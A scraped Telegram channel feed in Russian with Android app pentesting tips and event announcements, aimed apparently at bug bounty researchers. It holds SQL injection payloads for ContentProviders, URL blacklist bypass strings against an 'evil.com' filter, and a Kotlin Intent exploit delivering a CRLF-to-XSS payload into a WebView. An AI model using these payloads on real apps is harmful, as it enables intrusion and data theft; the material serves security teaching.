Понедельник - день постов. Можно выложить все сразу и потом спокойно работать всю неделю =) Наконец-то дописал write-up по конкурсу на взлом мобильного банка в рамках PHDays 12. Получилось объемно, но надеюсь, что вам понравится 👨🏻💻
Хабр
Какие баги мы заложили в мобильный банк на PHDays 12: разбор конкурса $NATCH
В мае в центральном парке Москвы — в Парке Горького — отшумели яркие Positive Hack Days . Впервые за 12 лет форум по практической кибербезопасности, ранее объединявший только экспертов по ИБ и этичных...
👍11🔥8
Приложение может вести себя по-разному в зависимости от приходящих push-сообщений. Это может быть какая-то особая реакция на скрытый параметр, который в обычной ситуации никогда не присылается, а оставлен только для разработчиков. Или оно может переключаться в другой режим работы при получении какой-то особой полезной нагрузки. Чтобы быстро и без заморочек протестировать все эти варианты можно использовать локальную отправку пушей приложению через adb команду
#aht
adb shell su -c "am broadcast -a com.google.android.c2dm.intent.RECEIVE -n chat.rocket.whitelabel/com.google.firebase.iid.FirebaseInstanceIdReceiver --es "param1" "payload1" --ez "param2" true. Она позволит быстро проверить все гипотезы и освободить время на поиск уязвимости на отправку произвольных пушей целевому приложению 😉#aht
👍25🔥8
Вокруг много всякой IoT-ни c bluetooth, которая может быть поломана протестирована на безопасность одним пакетом =) Можно использовать штуки вроде BIAS, но это же надо пейпер читать. Есть способ проще - ставим приложение nRF Connect (
⚠️ Пара моментов:
1. Запись некорректных значений в характеристику может потенциально испортить устройство
2. Заигрывание с чужими устройствами может привести к уголовной ответственности, поэтому не ломайте чужие умные розетки. Только свои!
#aht
no.nordicsemi.android.mcp) и начинаем экспериментировать с BT устройствами вокруг. Оно позволяет писать и читать GATT характеристики. ⚠️ Пара моментов:
1. Запись некорректных значений в характеристику может потенциально испортить устройство
2. Заигрывание с чужими устройствами может привести к уголовной ответственности, поэтому не ломайте чужие умные розетки. Только свои!
#aht
❤9
При исследование системного, а также всякого специфического софта под Android, бывает что классы которые использует приложение, физически в нем отсутствуют. В этом случае их стоит поискать внутри
#aht
/system/framework/framework.jar и обычно этого достаточно. Если не повезло, то путь получится более длинным. Любыми доступными способами выполняем команду env и смотрим на jar-ники в переменных DEX2OATBOOTCLASSPATH, BOOTCLASSPATH, SYSTEMSERVERCLASSPATH. Класс должен найтись в одном из них.#aht
👍13🔥3
Media is too big
VIEW IN TELEGRAM
@N2R2D2 уже какое-то время пилит штуку для обхода проверок SafetyNet и Play Integrity API. Проблема в общем-то в том, что DroidGuard, который обеспечивает прохождение этих проверок нельзя так просто взять и завести везде где хочется. Собственно проект и состоит в том, чтобы сделать серверную эмуляцию DroidGuard VM и реализовать инструмент способный патчить локальные хэндлеры для прохождения всех проверок. Пока это все в активной приватной разработке, но в какой-то момент, по заверениям автора, должен появится репозиторий со всеми кишками. Если кто-то хочет помочь в разработке или просто позадавать вопросы, то пишите автору в тг.
🤯18🔥6👍2
⚡️Внезапная, общеобразовательная активность на канале!
Завтра (27.07), в 19:00 (MSK) проведем стрим про уязвимости в Android приложениях.
Цель - покрыть вот эти топики:
- какие вообще бывают уязвимости
- что можно считать валидной уязвимостью, а что нет
- как повышать импакт от пустяковых с виду уязвимостей
- почему некоторые вендоры так неохотно принимают "мобильные" баги
Как обычно - половина пользы от таких мероприятий это толковые вопросы из зрительного зала. Поэтому приходите их задавать.
Завтра (27.07), в 19:00 (MSK) проведем стрим про уязвимости в Android приложениях.
Цель - покрыть вот эти топики:
- какие вообще бывают уязвимости
- что можно считать валидной уязвимостью, а что нет
- как повышать импакт от пустяковых с виду уязвимостей
- почему некоторые вендоры так неохотно принимают "мобильные" баги
Как обычно - половина пользы от таких мероприятий это толковые вопросы из зрительного зала. Поэтому приходите их задавать.
YouTube
Что сдать на ББ чтобы не отправили в спам 😎
Внезапная, общеобразовательная активность на канале!
Цель - покрыть вот эти топики:
- какие вообще бывают уязвимости
- что можно считать валидной уязвимостью, а что нет
- как повышать импакт от пустяковых с виду уязвимостей
- почему некоторые вендоры так…
Цель - покрыть вот эти топики:
- какие вообще бывают уязвимости
- что можно считать валидной уязвимостью, а что нет
- как повышать импакт от пустяковых с виду уязвимостей
- почему некоторые вендоры так…
🔥19👍3
С вашего позволения, я не буду редачить стрим и вырезать оттуда некоторые проблемы со связью которые были в начале. Желающие посмотреть - промотайте +5 минут и дальше будет ок. Благодарю всех кто пришел и задавал вопросы.
Актуальная ссылка: https://www.youtube.com/watch?v=DAHdYrSIhp8
Актуальная ссылка: https://www.youtube.com/watch?v=DAHdYrSIhp8
YouTube
Что сдать на ББ чтобы не отправили в спам 😎
Внезапная, общеобразовательная активность на канале!
Цель - покрыть вот эти топики:
- какие вообще бывают уязвимости
- что можно считать валидной уязвимостью, а что нет
- как повышать импакт от пустяковых с виду уязвимостей
- почему некоторые вендоры так…
Цель - покрыть вот эти топики:
- какие вообще бывают уязвимости
- что можно считать валидной уязвимостью, а что нет
- как повышать импакт от пустяковых с виду уязвимостей
- почему некоторые вендоры так…
👍25❤8
Если в приложении используется SQLCipher, то посмотреть содержимое БД без пароля будет невозможно. Но даже если пароль удалось добыть, то базу на этом пароле еще надо расшифровать. С этой задачей легко справляется SQLiteStudio. Добавляем новую базу, в диалоге добавления выставляем
#aht
Database type как SQLCipher, пишем пароль и все магическим образом открывается.#aht
👍21😱1
SQL инъекции в Android приложениях можно встретить не часто. Причин тому много. Разработчики поумнели, Google со своим Room-ом подтянулся. Так недолго и забыть как инъекции вообще эксплуатируются. Вот пара типичных пейлоадов для ContentProvider-ов:
💉
💉
А по ссылке можно найти чуть более экзотические варианты, которые подойдут для более сложных случаев.
#aht
💉
* from sqlite_master where type='table'-- (для projection)💉
1=1) union select name,2,3,4,5,6,7 from sqlite_master where type='table'-- (для selection/where)А по ссылке можно найти чуть более экзотические варианты, которые подойдут для более сложных случаев.
#aht
👍17
Иногда можно столкнуться с такой неприятной вещь как TLS Fingerprint, но еще более неприятно, когда провал проверки сопровождается многочасовым баном. Бороться с этим можно несколькими способами.
1. Использовать расширение Awesome TLS для Burp Suite. Там можно даже выставить кастомный fingerprint чтобы все было совсем хорошо. Но расширение работает весьма неторопливо и не всегда стабильно
2. Перехватывать трафик прямо на устройстве через PCAPDroid и перенаправлять его куда-то еще. Пример для Wireshark:
3. Также иногда с этим справляется Charles, но это не точно.
А если вам просто нужно отправить какой-то запрос на хост и не спалиться по фингерпринту, то можно попробовать использовать
#aht
1. Использовать расширение Awesome TLS для Burp Suite. Там можно даже выставить кастомный fingerprint чтобы все было совсем хорошо. Но расширение работает весьма неторопливо и не всегда стабильно
2. Перехватывать трафик прямо на устройстве через PCAPDroid и перенаправлять его куда-то еще. Пример для Wireshark:
curl -NLs http://192.168.1.12:8080 | Wireshark -k -i - 3. Также иногда с этим справляется Charles, но это не точно.
А если вам просто нужно отправить какой-то запрос на хост и не спалиться по фингерпринту, то можно попробовать использовать
curl прямо в консоли девайса.#aht
👍12
Если попалось приложение с библиотекой Navigation от Google, то можно очень быстро найти все диплинки, которые обрабатывает приложение. Для этого ищем по ключевому слову
#aht
<deepLink и получаем красивый список со всеми параметрами и типами данных. Но этот фокус работает только если навигация реализована в XML файлах. А так бывает не всегда, и некоторые особо увлеченные разработчики делают все в коде.#aht
👍14🔥1
В экосистемах приложений часто встречается такая практика как кастомные разрешения. Некое "главное" приложение объявляет разрешение вроде
#aht
my.cool.app.READ_STORAGE. чтобы другие приложения из той же экосистемы могли его использовать. Если protectionLevel такого разрешения пустой или выставлен в normal, то все круто - берем и пользуемся. Но чаще всего там стоит signature, что уже является некоторой проблемой. Но signature - не приговор! У нас же экосистема! А значит довольно большая поверхность атаки. Первое, что надо сделать - найти все приложения, которые запрашивают это разрешение. Самый простой и незамысловатый способ получить эту информацию - drozer. Ставим все приложения вендора на девайс, подключаемся и выполняем команду run app.package.list -p my.cool.app.READ_STORAGE. В ответ получаем список приложений которые нужно взломать чтобы получить заветные права.#aht
🔥22👍5
Часто ли разработчики полностью переходят в информационную безопасность? Случается 😉 Набросал немного своих мыслей на этот счет и попытался показать альтернативный путь развития для уже состоявшихся разработчиков. Приятного чтения!
(не)Уникальный опыт
Путь программиста: альтернативный сценарий
Я уже как-то писал свои соображения на тему того, как может выглядеть путь развития программиста. С тех пор прошло больше трех лет, и несмотря на то, что статья не потеряла актуальности я решил ее …
❤11👍4👏3
В приложениях часто можно найти dev/stage сервера, которые используются на этапе разработки. Если повезло, то в приложении также есть дебаг-панель позволяющая удобно переключаться между этими серверами, что неплохо расширяет поверхность атаки. Но если дебаг-панели нет или она по каким-то причинам недоступна, то переключить приложение на такой сервер можно прямо в BurpSuite. Идем в настройки proxy, выбираем вкладку
#aht
Request handling и в поле Redirect to host указываем адрес нужного сервера. Все. Ничего не надо пересобирать и заниматься прочей ерундой. Способ не идеален, т.к. приложение может ходить на несколько серверов сразу, но в большинстве случаев этот подход здорово экономит время.#aht
👍13
Начиная с Java 9 стал доступен инструмент
#aht
JShell. Фактически это такой же REPL как в python или других языках, но только для Java. И это весьма удобная штука. Особенно когда в приложениях попадаются конструкции вида Class a = Class.forName(new String(new byte[]{106,97,118,97,46,108,97,110,103,46,83,116,114,105,110,103})); и нужно быстро понять что это за класс вообще. Да, эти байтики можно разобрать чем угодно. А если там используется какая-то специфика Java, которую не всегда просто переложить на другие языки? Подобные механизмы защиты также могут включать в себя отдельные библиотеки в виде jar-файлов и все это сильно усложнит вам жизнь при попытке разобрать это в каком-нибудь питоне. А в jshell можно просто закидывать java-код и играть с ним как душе угодно. Сторонние jar-ники также можно подкидывать через параметры команды, и вообще посмотрите на выдачу jshell -h, там есть интересные опции.#aht
🤔9👍2
Современные приложения на Xamarin хранят dll-ки в
#aht
XABA архиве, который лежит в ресурсах приложения по пути assemblies/assemblies.blob (могут быть также разделены по архитектурам). Там же рядом лежит assemblies.manifest с списком всех сборок. Для того чтобы извлечь все сборки в виде dll-файлов и спокойно реверсить, можно воспользоваться утилитой pyxamstore. Она также умеет собирать все обратно. #aht
👍15❤2🔥1😢1
Там ребята опять собираются делать Standoff Hacks в ноябре, и, по уже сложившейся традиции объявили конкурс чтобы на мероприятие попали не только известные (и всем надоевшие!) личности, но и свежая кровь. Всего есть 6 инвайтов и 1 бонусный. Все условия читайте здесь, повторяться не хочу. От себя добавлю, что мероприятие действительно крутое. Позволяет очень сильно подумать мозгами и посоревноваться с очень толковыми людьми. Я был на двух прошлых, и впечатления исключительно положительные. Вопрос: какого Фрейда ты пишешь это в канале про мобилки? Ответ: что на первом, что на втором хаксе в скоупе были мобилки. Очень много мобилок. Не за все из них платили хорошо и местами мне приходилось сильно бодаться с триажерами, но все равно это очень полезный и интересный опыт. Давайте уже развивать мобильное багбаунти, а то все веб да веб...
P.S. А на этот хакс меня пока не позвали... Видимо придется в конкурсе участвовать 🌚
P.S. А на этот хакс меня пока не позвали... Видимо придется в конкурсе участвовать 🌚
👍7👎3🥰2🤡2❤1
Перехват трафика приложений на Xamarin выглядит довольно изученной темой. Но так выглядит ровно до тех пор пока не сталкиваешься со странностями из-за которых почему-то ничего не работает как нужно. Про перехват трафика я уже писал большую статью, и если у вас что-то не получается с перехватом, то лучше обратиться к ней. Но базовый алгоритм для Xamarin я все же напишу здесь:
1. Сбросить все настройки прокси, которые были сделаны до этого (wifi или глобальный). Смартфон должен иметь чистый доступ к интернету.
2. Убедиться, что все MITM-сертификаты установлены корректно как в пользовательское, так и в системное хранилище. А лучше накатить их заново выгрузив из текущей версии burp.
3. В настройках прокси, в burp, выставить галочку
4. Закинуть на смартфон этот скрипт, зайти в adb под root-ом и выполнить его.
Если ничего не заработало, то путь самурая начинается здесь...
#aht
1. Сбросить все настройки прокси, которые были сделаны до этого (wifi или глобальный). Смартфон должен иметь чистый доступ к интернету.
2. Убедиться, что все MITM-сертификаты установлены корректно как в пользовательское, так и в системное хранилище. А лучше накатить их заново выгрузив из текущей версии burp.
3. В настройках прокси, в burp, выставить галочку
Support invisible proxy (во вкладке Request handling) 4. Закинуть на смартфон этот скрипт, зайти в adb под root-ом и выполнить его.
Если ничего не заработало, то путь самурая начинается здесь...
#aht
🔥7👍2
Порой очень хочется поработать с т.н. "скрытым" API в Android. Есть несколько способов дотянуться до этой возможности. Самый простой - включить эту настройку через adb с помощью команды:
Здесь метод
#aht
adb shell settings put global hidden_api_policy 1. Но это может не сработать, и getDeclaredMethod будет падать с ошибкой. Тогда на помощь приходит вот такой трюк:val parcel = Parcel.obtain()
val writeString8 = parcel::class.java.declaredMethods.filter { it.name == "writeString8" }[0]
writeString8.invoke(parcel,scheme)
Здесь метод
writeString8 получается не напрямую, а через поиск по коллекции методов. Кому интересно почему это работает - смотрите исходники.#aht
👍15❤1
Умение обходить фильтры - очень важный навык. Обычно он складывается из двух компонентов: развитого аналитического мышления и знания трюков. Сегодня будут трюки. Представим себе такой синтетический фильтр:
Есть мысли как его обойти? Подумайте 30 секунд.
Один из способов - модифицировать
-
Но проверка по черному списку встречается все реже. Кажется, что разработчики начинают что-то подозревать 😰
#aht
val input = "http://evil.com"
val filter = """^(https?)://.*@?evil\..+""".toRegex()
if (filter.matches(input)) {
throw MalformedURLException("Banned URL!")
}
val okhttp = OkHttpClient()
val req = Request.Builder().url(URL(input)).build()
Есть мысли как его обойти? Подумайте 30 секунд.
Один из способов - модифицировать
input любым из этих способов:-
url:http://evil.com
- http://evil.com (первый символ - пробел)Но проверка по черному списку встречается все реже. Кажется, что разработчики начинают что-то подозревать 😰
#aht
👍13👎1😱1
Продолжая тему фильтров стоит сказать про более сложный в эксплуатации вариант - фильтрация по белому списку. Приложение может принимать только заданный список доменов и отклонять все остальные. Но варианты эксплуатации есть и в этом случае. Нужно сместить фокус внимания на список разрешенных доменов и искать проблемы уже в них. Допустим мы хотим грузить произвольный контент в WebView. В этом случае может помочь найденная на одном из доменов белого списка уязвимость CRLF. Чаще всего ее можно трансформировать в возможность внедрения произвольного HTML, а там уже и XSS и все остальные приятные штуки с этим связанные. Сам эксплойт может выглядеть как-то так:
Подробнее: раз, два.
#aht
val payload = "%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<noscript%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e"
val i = Intent().apply {
setClassName("com.app.victim", "com.app.victim.WebViewActivity")
putExtra("url", "https://whitelisted.victim.com/$payload")
}
startActivity(i)
Подробнее: раз, два.
#aht
👍8🤔1